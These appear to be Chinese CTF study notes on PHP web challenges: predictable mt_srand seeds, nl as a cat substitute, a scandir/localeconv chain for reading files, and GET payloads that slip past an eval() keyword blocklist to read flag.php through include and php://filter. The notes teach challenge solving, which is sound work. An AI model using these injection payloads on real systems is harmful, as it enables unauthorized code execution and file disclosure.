伪随机
mt_srand
这个函数是伪随机,给了随机种子,生成随机数都是固定的
另外,随机种子会因为php版本不同而不同,种子计算可以用工具php_mt_scrand
nl查询
其实这里想说的是任意执行这个大类,在一些题目中可能会有奇怪的过滤,执行查询时如果cat不行可以试试nl,另外记得看一看网页源代码
一种很特殊的函数绕过法
show_source(next(array_reverse(scandir(pos(localeconv())))));
不要被这一长串吓到了,如果flag文件说带有.
且已经被过滤的,就可以用这方法
首先localeconv第一个元素是.
,pos只返回第一个元素,scandir扫描当前目录并存入数组,array_reverse以相反的元素顺序返回数组,next输出当前元素的下一个元素值,最后再用show_source高亮输出
是不是很神奇?
一种也很特殊的叠加方法
仔细观察下面这段php
$c = $_GET['c'];
if(!preg_match("/flag|system|php|cat|sort|shell|\.| |\'|\`|echo|\;|\(/i", $c)){
eval($c);
}
再仔细观察下面这个段get请求参数
?c=$nice=include$_GET["url"]?>&url=php://filter/read=convert.base64-
encode/resource=flag.php
学会了吗?
Get请求变量
经常看到以一个单词作为接受请求的变量,如下
$_GET["url"]
但其实把“url”
换成1
是可以的,这样就能达到绕过双引号过滤的目的。
同理,单个字母也是可以的
两段php代码
如果碰到了一个eval函数,那么首当其冲可以先写一个?>
对前面的php进行闭合,这样再怎么过滤也不会过滤到后面的代码上了
不过需要注意的是,就算后面代码运行时不会过滤,但不代表代码输入进去时不会被过滤一遍,举个例子
c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php
这段代码的1变量内容不会被过滤,但c仍然会